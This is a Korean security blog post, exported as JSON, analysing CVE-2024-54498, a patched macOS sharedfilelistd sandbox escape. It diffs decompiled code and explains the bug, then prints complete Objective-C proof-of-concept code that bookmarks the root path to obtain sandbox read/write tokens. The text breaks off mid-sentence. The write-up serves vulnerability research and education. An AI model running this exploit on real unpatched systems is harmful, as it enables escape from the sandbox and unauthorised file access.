{"id":3750,"date":"2025-06-29T08:01:21","date_gmt":"2025-06-28T23:01:21","guid":{"rendered":"https:\/\/h4ck.kr\/?p=3750"},"modified":"2025-07-31T09:37:50","modified_gmt":"2025-07-31T00:37:50","slug":"cve-2024-54498-1day","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=3750","title":{"rendered":"[1day] CVE-2024-54498: sharedfilelistd: \ub8e8\ud2b8 \uacbd\ub85c\uc5d0 \ub300\ud55c \uc0cc\ub4dc\ubc15\uc2a4 \uc77d\uae30\/\uc4f0\uae30 \ud1a0\ud070 \ubc1c\uae09 \ucde8\uc57d\uc810"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Source Code<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/wh1te4ever\/CVE-2024-54498-PoC\/\">https:\/\/github.com\/wh1te4ever\/CVE-2024-54498-PoC\/<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Write-up<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/wh1te4ever\/CVE-2024-54498-PoC\/blob\/main\/CVE-2024-54498_1day_%E1%84%87%E1%85%AE%E1%86%AB%E1%84%89%E1%85%A5%E1%86%A8.pdf\">https:\/\/github.com\/wh1te4ever\/CVE-2024-54498-PoC\/blob\/main\/CVE-2024-54498_1day_%E1%84%87%E1%85%AE%E1%86%AB%E1%84%89%E1%85%A5%E1%86%A8.pdf<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"904\" height=\"510\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image-1-1.png\" alt=\"\" class=\"wp-image-3907\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image-1-1.png 904w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image-1-1-300x169.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image-1-1-768x433.png 768w\" sizes=\"auto, (max-width: 904px) 100vw, 904px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"874\" height=\"414\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image-2.png\" alt=\"\" class=\"wp-image-3908\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image-2.png 874w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image-2-300x142.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image-2-768x364.png 768w\" sizes=\"auto, (max-width: 874px) 100vw, 874px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\ud574\ub2f9 \ucde8\uc57d\uc810\uc740 macOS Sequoia 15.2, Ventura 13.7.2, Sonoma 14.7.2\uc5d0\uc11c \ud328\uce58\ub418\uc5c8\uc73c\uba70, \uc0cc\ub4dc\ubc15\uc2a4\ub97c \ud0c8\ucd9c\ud560 \uc218 \uc788\ub294 \ucde8\uc57d\uc810\uc774\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">SharedFileList \uc11c\ube44\uc2a4\uc5d0\uc11c \ucde8\uc57d\uc810\uc774 \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Diffing<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\ucde8\uc57d\ud55c macOS 15.1.1 \ubc84\uc804\uacfc \ud328\uce58\ub41c 15.2 \ub300\uc0c1\uc73c\ub85c \ub514\ud551\uc744 \uc9c4\ud589\ud558\uc600\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ucde8\uc57d\uc810\uc774 \ubc1c\uacac\ub41c \ubc14\uc774\ub108\ub9ac\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\/System\/Library\/CoreServices\/sharedfilelistd<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"80\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image3-1024x80.png\" alt=\"\" class=\"wp-image-3909\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image3-1024x80.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image3-300x23.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image3-768x60.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image3-1536x120.png 1536w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image3-2048x160.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\ubc14\uc774\ub108\ub9ac\ub97c \ucd94\ucd9c\ud574\uc11c Bindiff\ub97c \ud1b5\ud574 \ube44\uad50\ud574\ubd24\uc744 \ub54c, \ud568\uc218 2\uac1c\uc758 \ucc28\uc774\uc810\uc774 \uc874\uc7ac\ud558\uc600\ub2e4.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>-[ConnectedProcess shouldExtendSandboxForListIdentifier:]<\/li>\n\n\n\n<li>-[ConnectedProcess canAccessItem:error:]<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\uba3c\uc800,-[ConnectedProcessshouldExtendSandboxForListIdentifier:] \uba54\uc18c\ub4dc\ub97c \uc0b4\ud3b4\ubcf4\uba74 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022 macOS 15.1.1 \ucde8\uc57d\ud55c \ubc84\uc804<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">bool __cdecl -[ConnectedProcess shouldExtendSandboxForListIdentifier:](ConnectedProcess *self, SEL a2, id a3)\n{\n  id v4; \/\/ x19\n  bool v5; \/\/ w20\n\n  v4 = objc_retain(a3);\n  v5 = -[ConnectedProcess isSandboxed](self, \"isSandboxed\")\n    &amp;&amp; ((unsigned int)objc_msgSend(v4, \"isEqual:\", _kLSSharedFileListRecentApplicationItems) &amp; 1) == 0\n    &amp;&amp; ((unsigned int)objc_msgSend(v4, \"isEqual:\", _kLSSharedFileListRecentDocumentItems) &amp; 1) == 0\n    &amp;&amp; ((unsigned int)objc_msgSend(v4, \"isEqual:\", _kLSSharedFileListRecentServerItems) &amp; 1) == 0\n    &amp;&amp; ((unsigned int)objc_msgSend(v4, \"isEqual:\", _kLSSharedFileListFavoriteItems) &amp; 1) == 0\n    &amp;&amp; (!(unsigned int)_os_feature_enabled_impl(\"SharedFileList\", \"SecurityScopedBookmarks\")\n     || ((unsigned int)objc_msgSend(v4, \"hasPrefix:\", kLSSharedFileListApplicationRecentDocuments) &amp; 1) == 0);\n  objc_release(v4);\n  return v5;\n}\n\n<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022 macOS 15.2 \ud328\uce58\ub41c \ubc84\uc804<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">bool __cdecl -[ConnectedProcess shouldExtendSandboxForListIdentifier:](ConnectedProcess *self, SEL a2, id a3)\n{\n  id v4; \/\/ x19\n\n  v4 = objc_retain(a3);\n  if ( -[ConnectedProcess isSandboxed](self, \"isSandboxed\")\n    &amp;&amp; ((unsigned int)objc_msgSend(v4, \"isEqual:\", _kLSSharedFileListRecentApplicationItems) &amp; 1) == 0\n    &amp;&amp; ((unsigned int)objc_msgSend(v4, \"isEqual:\", _kLSSharedFileListRecentDocumentItems) &amp; 1) == 0\n    &amp;&amp; ((unsigned int)objc_msgSend(v4, \"isEqual:\", _kLSSharedFileListRecentServerItems) &amp; 1) == 0\n    &amp;&amp; ((unsigned int)objc_msgSend(v4, \"isEqual:\", _kLSSharedFileListFavoriteItems) &amp; 1) == 0\n    &amp;&amp; (unsigned int)_os_feature_enabled_impl(\"SharedFileList\", \"SecurityScopedBookmarks\") )\n  {\n    objc_msgSend(v4, \"hasPrefix:\", kLSSharedFileListApplicationRecentDocuments);\n  }\n  objc_release(v4);\n  return 0;\n}\n\n<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uc704 \ud568\uc218\ub97c \ubcf4\uba74, \ud328\uce58\ub41c \ubc84\uc804\uc5d0\uc11c\ub294 \uba54\uc18c\ub4dc \ud568\uc218\uac00 \ud56d\uc0c1 0 \uc744 \ubc18\ud658\ud558\uace0 \uc788\uc9c0\ub9cc, \ucde8\uc57d\ud55c \ubc84\uc804\uc5d0\uc11c\ub294 \ud2b9\uc815 \uc870\uac74\uc5d0 \ub530\ub77c 1 \uc744 \ubc18\ud658\uc2dc\ud0ac \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uba3c\uc800 \ud504\ub85c\uc138\uc2a4\uac00 -[ConnectedProcessisSandboxed] \ub9ac\ud134\uac12\uc774 \ucc38\uc774\uc5ec\uc57c\ud558\uace0, \ub9e4\uac1c\ubcc0\uc218\uc5d0 \ub4e4\uc5b4\uac00\ub294 a3 \uac12\uc774 \ud2b9\uc815\ud55c \uac12\uacfc \uac19\uc9c0 \uc54a\uc544\uc57c \ud55c\ub2e4. \uac19\uc9c0 \uc54a\uc544\uc57c \ub418\ub294 \ud2b9\uc815\uac12\uc740 \ub2e4\uc74c\uacfc \uac19\ub2e4. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022 kLSSharedFileListRecentApplicationItems <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022 kLSSharedFileListRecentDocumentItems <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022 kLSSharedFileListRecentServerItems <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022 kLSSharedFileListFavoriteItems<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ub610,a3 \ub9e4\uac1c\ubcc0\uc218\uac00 kLSSharedFileListApplicationRecentDocuments \ub85c \uc2dc\uc791\ub418\uc9c0 \uc54a\uc544\uc57c \ud558\uac70\ub098, _os_feature_enabled_impl(&#8220;SharedFileList&#8221;,&#8221;SecurityScopedBookmarks&#8221;) \ud568\uc218 \ub9ac\ud134\uac12\uc774 0 \uc774\uc5ec\uc57c \ub41c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc774\ub7ec\ud55c \uc870\uac74\uc744 \ub9cc\uc871\uc2dc\ud0a4\uba74 \ud574\ub2f9 \uba54\uc18c\ub4dc\ub294 1 \uc744 \ubc18\ud658\uc2dc\ud0ac \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ub450\ubc88\uc9f8\ub85c,-[ConnectedProcesscanAccessItem:error:] \uba54\uc18c\ub4dc\ub97c \uc0b4\ud3b4\ubcf4\uba74 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc67c\ucabd\uc740 \ucde8\uc57d\ud55c \ud568\uc218, \uc624\ub978\ucabd\uc740 \ud328\uce58\ub41c \ud568\uc218\uc774\ub2e4. \ud328\uce58\ub41c \ud568\uc218\ub97c \ubcf4\uba74, v17\uac12\uc774 \u201c\/\u201d \ubb38\uc790\uc5f4\uc77c \uacbd\uc6b0\uc5d0\ub294 v21\uac12\uc740 1\uc774 \ub41c\ub2e4.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"401\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image4-1024x401.png\" alt=\"\" class=\"wp-image-3910\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image4-1024x401.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image4-300x117.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image4-768x301.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image4-1536x601.png 1536w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image4-2048x802.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\uc624\ub978\ucabd\uc5d0 \ud328\uce58\ub41c \ucf54\ub4dc\ub97c \ubcf4\uba74 v21\uac12\uc774 1\uc77c \uacbd\uc6b0, \uc0cc\ub4dc\ubc15\uc2a4\uc5d0 \uc758\ud574 \uc81c\ud55c\ub418\uc5c8\ub2e4\uba74\uc11c \uc5d0\ub7ec\ub97c \ubc18\ud658\ud55c\ub2e4.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"456\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image5-1024x456.png\" alt=\"\" class=\"wp-image-3911\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image5-1024x456.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image5-300x134.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image5-768x342.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image5.png 1074w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Analysis<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\ucde8\uc57d\uc810\uc774 \ud328\uce58\ub41c -[ConnectedProcess shouldExtendSandboxForListIdentifier:] \uba54\uc18c\ub4dc\ub97c \uba3c\uc800 \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc5ed\ucc38\uc870\ub97c \ud574\ubcf4\uba74, -[ConnectedProcess resolveItemWithIdentifier:listIdentifier:options:reply:] \uba54\uc18c\ub4dc\uc5d0 \uc758\ud574 \ud638\ucd9c\ub418\ub294 \uac83\uc744 \uc54c \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"76\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image6-1024x76.png\" alt=\"\" class=\"wp-image-3912\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image6-1024x76.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image6-300x22.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image6-768x57.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image6-1536x114.png 1536w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image6-2048x152.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">LSSharedFileListItemCopyResolvedURL \ud568\uc218\ub97c \ud1b5\ud574 \ud638\ucd9c\uc2dc\ud0ac \uc218 \uc788\ub2e4. LSSharedFileListItemCopyResolvedURL \ud568\uc218\ub294 macOS\uc758 LSSharedFileList API\uc5d0\uc11c \uc0ac\uc6a9\ud558\ub294 \ud568\uc218\ub85c, \ucd5c\uadfc \ubb38\uc11c, \ub85c\uadf8\uc778 \ud56d\ubaa9 \ub4f1 \uc2dc\uc2a4\ud15c\uc5d0\uc11c \uc0ac\uc6a9\ub418\ub294 \uacf5\uc720 \ubaa9\ub85d\uc744 \uad00\ub9ac\ud558\ub294 \ub370 \uc0ac\uc6a9\ub418\ub294 \ubd81\ub9c8\ud06c\uc758 URL\uc744 \uac00\uc838\uc624\ub294\ub370 \uc0ac\uc6a9\ub41c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">-[ConnectedProcess resolveItemWithIdentifier:listIdentifier:options:reply:] \uba54\uc18c\ub4dc\ub97c \uc790\uc138\ud788 \uc0b4\ud3b4\ubcf4\uba74,<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">[ConnectedProcess shouldExtendSandboxForListIdentifier:] \uba54\uc18c\ub4dc\uac00 1\uc744 \ubc18\ud658\ud560 \uacbd\uc6b0, v19\uc5d0\uc11c 0x40000000LL \uac12\uc744 OR \uc5f0\uc0b0\uc790\ub85c \uc138\ud2b8\uc2dc\ud0a4\uace0, \uc138\ud2b8\ub41c \uac12\uc774 -[ListManager resolveItemWithIdentifier:onList:options:reply:] \uba54\uc18c\ub4dc\ub85c \uc804\ub2ec\ub41c\ub2e4.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"260\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image7-1024x260.png\" alt=\"\" class=\"wp-image-3913\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image7-1024x260.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image7-300x76.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image7-768x195.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image7-1536x390.png 1536w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image7.png 1940w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">[ListManager resolveItemWithIdentifier:onList:options:reply:] \uba54\uc18c\ub4dc\ub97c \uc790\uc138\ud788 \uc0b4\ud3b4\ubcf4\uba74, \uba3c\uc800 bookmark \uba54\uc11c\ub4dc\ub97c \ud638\ucd9c\ud558\uc5ec \ubd81\ub9c8\ud06c \ub370\uc774\ud130\ub97c \uac00\uc838\uc628\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uac00\uc838\uc628 \ubd81\ub9c8\ud06c \ub370\uc774\ud130\ub294 NSURL \ud074\ub798\uc2a4 \uba54\uc11c\ub4dc\uac00 \ud574\uc11d\ud558\uc5ec \ud574\ub2f9 URL \uac1d\uccb4\ub97c \ubc18\ud658\uc2dc\ud0a8\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">URL \uac1d\uccb4\uac00 \ubc18\ud658\ub418\uba74, -[NSURL fileSystemRepresentation] \uba54\uc11c\ub4dc\ub97c \ud638\ucd9c\ud558\uc5ec \ud30c\uc77c\uc758 \uacbd\ub85c \ubb38\uc790\uc5f4\uc744 \uac00\uc838\uc628\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ub9cc\uc57d \ub9e4\uac1c\ubcc0\uc218\ub85c \ubc1b\ub294 v7\uc774 0x40000000LL \uac12\uc774 OR \uc5f0\uc0b0\uc790\ub85c \uc138\ud2b8\ub418\uc5b4\uc788\uc73c\uba74, sandbox_extension_issue_file \ud568\uc218\ub97c \ud1b5\ud574 \uc0cc\ub4dc\ubc15\uc2a4 \ud655\uc7a5\uc744 \uc694\uccad\ud558\uc5ec \ud1a0\ud070\uc744 \ubc1c\uae09\ubc1b\uc744 \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"518\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image8-1024x518.png\" alt=\"\" class=\"wp-image-3914\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image8-1024x518.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image8-300x152.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image8-768x389.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image8-1536x777.png 1536w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image8-2048x1036.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\uadf8 \ub2e4\uc74c\uc73c\ub85c, -[ConnectedProcess canAccessItem:error:] \uba54\uc18c\ub4dc\ub97c \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc5ed\ucc38\uc870\ub97c \ud574\ubcf4\uba74, -[ConnectedProcess insertItem:atIndex:listIdentifier:reply:] \uba54\uc18c\ub4dc\uc5d0 \uc758\ud574 \ud638\ucd9c\ub418\ub294 \uac83\uc744 \uc54c \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"73\" src=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image9-1024x73.png\" alt=\"\" class=\"wp-image-3915\" srcset=\"https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image9-1024x73.png 1024w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image9-300x21.png 300w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image9-768x54.png 768w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image9-1536x109.png 1536w, https:\/\/h4ck.kr\/wp-content\/uploads\/2025\/06\/image9-2048x145.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">LSSharedFileListInsertItemURL \ud568\uc218\ub97c \ud1b5\ud574 \ud638\ucd9c\uc2dc\ud0ac \uc218 \uc788\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">LSSharedFileListInsertItemURL \ud568\uc218\ub294 macOS\uc758 LSSharedFileList API\uc5d0\uc11c \uc0ac\uc6a9\ud558\ub294 \ud568\uc218\ub85c, \ucd5c\uadfc \ubb38\uc11c, \ub85c\uadf8\uc778 \ud56d\ubaa9 \ub4f1 \uc2dc\uc2a4\ud15c\uc5d0\uc11c \uc0ac\uc6a9\ub418\ub294 \uacf5\uc720 \ubaa9\ub85d\uc744 \uad00\ub9ac\ud558\ub294 \ub370 \uc0ac\uc6a9\ub418\ub294 \ubd81\ub9c8\ud06c\uc5d0 \ud56d\ubaa9\uc744 \ucd94\uac00\ud558\uac70\ub098 \uae30\uc874 \ud56d\ubaa9\uc744 \uc5c5\ub370\uc774\ud2b8\ud558\ub294 \uc5ed\ud560\uc744 \ud55c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ucde8\uc57d\uc810\uc774 \ud328\uce58\ub418\uae30 \uc804\uc5d0\ub294 \u201c\/\u201d \ub8e8\ud2b8 \uacbd\ub85c\ub97c \ubd81\ub9c8\ud06c\uc5d0 \ucd94\uac00\uc2dc\ud0a4\ub294 \uac83\uc774 \uac00\ub2a5\ud558\uc600\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Exploit<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\uc775\uc2a4\ud50c\ub85c\uc787\ud558\ub294 \ubc29\ubc95\uc740 \uc544\ub798\uc640 \uac19\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ubd81\ub9c8\ud06c\uc5d0 \u201c\/\u201d \ub8e8\ud2b8 \uacbd\ub85c\ub97c \ucd94\uac00\ud55c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ubd81\ub9c8\ud06c \uc885\ub958\ub294 \ub2e4\uc74c\uacfc \uac19\uc9c0 \uc54a\uc544\uc57c \ud55c\ub2e4.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>kLSSharedFileListRecentApplicationItems<\/li>\n\n\n\n<li>kLSSharedFileListRecentDocumentItems<\/li>\n\n\n\n<li>kLSSharedFileListRecentServerItems<\/li>\n\n\n\n<li>kLSSharedFileListFavoriteItems<\/li>\n\n\n\n<li>kLSSharedFileListApplicationRecentDocuments \uc774\ub984\uc73c\ub85c \uc2dc\uc791\ub418\ub294 \ubd81\ub9c8\ud06c<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\uc774\uc81c LSSharedFileListItemResolve \ud568\uc218\ub97c \ud638\ucd9c\ud558\uba74, \ub8e8\ud2b8\uc778 \ubaa8\ub4e0 \uacbd\ub85c\uc5d0 \ub300\ud574 \uc0cc\ub4dc\ubc15\uc2a4 \uc77d\uae30\/\uc4f0\uae30\uac00 \uac00\ub2a5\ud574\uc9c4\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc775\uc2a4\ud50c\ub85c\uc787 \ucf54\ub4dc\ub97c \ud1b5\ud574 \uc790\uc138\ud788 \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/wh1te4ever\/CVE-2024-54498-PoC\">https:\/\/github.com\/wh1te4ever\/CVE-2024-54498-PoC<\/a><\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">int add_root_dir_to_favorites(void) {\n    CFStringRef listType = kLSSharedFileListFavoriteVolumes; \n    LSSharedFileListRef favoriteVolumesList = LSSharedFileListCreate(NULL, listType, NULL);\n    \n    if (favoriteVolumesList) {\n        NSString *path = @\"\/\";\n        CFURLRef tmpDirURL = (__bridge CFURLRef)[NSURL fileURLWithPath:path];\n        \n        \/\/ Favorite Volumes\uc5d0 \ucd94\uac00\n        LSSharedFileListItemRef newItem = LSSharedFileListInsertItemURL(\n                                                                        favoriteVolumesList,\n                                                                        kLSSharedFileListItemLast,\n                                                                        NULL,\n                                                                        NULL,\n                                                                        tmpDirURL,\n                                                                        NULL,\n                                                                        NULL\n                                                                        );\n        \n        if (newItem) {\n            NSLog(@\"[+] Successfully added %@ to Favorite Volumes.\", path);\n            CFRelease(newItem);\n        } else {\n            NSLog(@\"[-] Failed to add %@ to Favorite Volumes.\", path);\n        }\n        \n        CFRelease(favoriteVolumesList);\n    } else {\n        NSLog(@\"[-] Failed to access LSSharedFileList for Favorite Volumes.\");\n    }\n    \n    return 0;\n}\n\nint remove_root_dir_from_favorites(void) {\n    UInt32 seedValue;\n    \n    LSSharedFileListRef favoriteVolsRef = LSSharedFileListCreate(NULL, kLSSharedFileListFavoriteVolumes, NULL);\n    if (!favoriteVolsRef) {\n        NSLog(@\"[-] Failed to access favorite items list.\");\n        return 0;\n    }\n\n    CFArrayRef favoriteVols = LSSharedFileListCopySnapshot(favoriteVolsRef, &amp;seedValue);\n    CFIndex arrayCount = CFArrayGetCount(favoriteVols);\n    \n    for (CFIndex i = 0; i &lt; arrayCount; ++i) {\n        CFURLRef urlRef;\n        LSSharedFileListItemRef itemRef = (LSSharedFileListItemRef)CFArrayGetValueAtIndex(favoriteVols, i);\n        OSStatus status = LSSharedFileListItemResolve(itemRef, 0, &amp;urlRef, NULL);\n\n        if (status != noErr) {\n            continue;\n        }\n        \n        NSURL *theURL = (__bridge NSURL*) urlRef;\n        NSString *checkPath = [theURL path];\n        \n        if ([checkPath isEqualToString:@\"\/\"]) {\n            LSSharedFileListItemRemove(favoriteVolsRef, itemRef);\n            NSLog(@\"[+] Successfully removed root directory (\/) from favorite volumes.\");\n        }\n        \n        CFRelease(urlRef);\n    }\n    \n    CFRelease(favoriteVols);\n    CFRelease(favoriteVolsRef);\n    \n    return 0;\n}\n\nint trigger_exploit(void) {\n    LSSharedFileListRef recentItems = LSSharedFileListCreate(NULL, kLSSharedFileListFavoriteVolumes, NULL);\n    if (recentItems) {\n        NSArray *items = (__bridge NSArray *)LSSharedFileListCopySnapshot(recentItems, NULL);\n        \n        NSLog(@\"items array: %@\\\\n\", items);\n        for (id item in items) {\n            \n            LSSharedFileListItemRef itemRef = (__bridge LSSharedFileListItemRef)item;\n            CFErrorRef errorRef;\n            CFURLRef itemURL = LSSharedFileListItemCopyResolvedURL(itemRef, 0, &amp;errorRef);\n            NSString *itemPath = [(__bridge NSURL *)itemURL path];\n            NSLog(@\"itemPath: %@\", itemPath);\n        }\n        CFRelease(recentItems);\n    } else {\n        NSLog(@\"Failed to retrieve recent items.\");\n    }\n    \n    return 0;\n}\n\nint main(void) {\n    \/\/Exploit...\n    add_root_dir_to_favorites();\n    \n    trigger_exploit();\n    \n    remove_root_dir_from_favorites();\n}\n\n<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\ubd81\ub9c8\ud06c\uc5d0 \u201c\/\u201d \ub8e8\ud2b8 \uacbd\ub85c\ub97c \ucd94\uac00\ud558\ub294\ub370, \uc885\ub958\ub97c kLSSharedFileListFavoriteVolumes\uc73c\ub85c \uc815\ud574\uc57c \ud55c\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uadf8\ub807\uac8c \ud574\uc57c -[ConnectedProcess shouldExtendSandboxForListIdentifier:] \uba54\uc18c\ub4dc\uac00 1\uc744 \ubc18\ud658\ud558\uc5ec, 0x40000000LL \uac12\uc744 OR \uc5f0\uc0b0\uc790\ub85c 